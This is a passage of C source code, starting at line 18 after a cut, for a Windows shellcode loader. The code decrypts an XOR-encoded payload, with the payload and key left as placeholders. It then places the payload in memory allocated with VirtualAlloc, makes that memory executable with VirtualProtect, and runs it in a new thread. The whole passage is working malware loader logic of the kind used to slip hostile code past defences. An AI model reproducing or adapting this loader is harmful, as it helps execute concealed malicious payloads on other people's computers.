| 18 | } |
| 19 | |
| 20 | int main(void) { |
| 21 | |
| 22 | void * exec_mem; |
| 23 | BOOL rv; |
| 24 | HANDLE th; |
| 25 | DWORD oldprotect = 0; |
| 26 | |
| 27 | unsigned char payl[] = { <XOR PAYLOAD> }; |
| 28 | unsigned int len = sizeof(payl); |
| 29 | char key[] = "<KEY>"; |
| 30 | |
| 31 | // Allocate a buffer for payload |
| 32 | exec_mem = VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
| 33 | |
| 34 | // Decrypt (DeXOR) the payload |
| 35 | XOR((char *) payl, len, key, sizeof(key)); |
| 36 | |
| 37 | // Copy the payload to allocated buffer |
| 38 | RtlMoveMemory(exec_mem, payl, len); |
| 39 | |
| 40 | // Set the buffer executable |
| 41 | rv = VirtualProtect(exec_mem, len, PAGE_EXECUTE_READ, &oldprotect); |
| 42 | |
| 43 | // Run the payload |
| 44 | if ( rv != 0 ) { |
| 45 | th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); |
| 46 | WaitForSingleObject(th, -1); |
| 47 | } |
| 48 | |
| 49 | return 0; |
| 50 | } |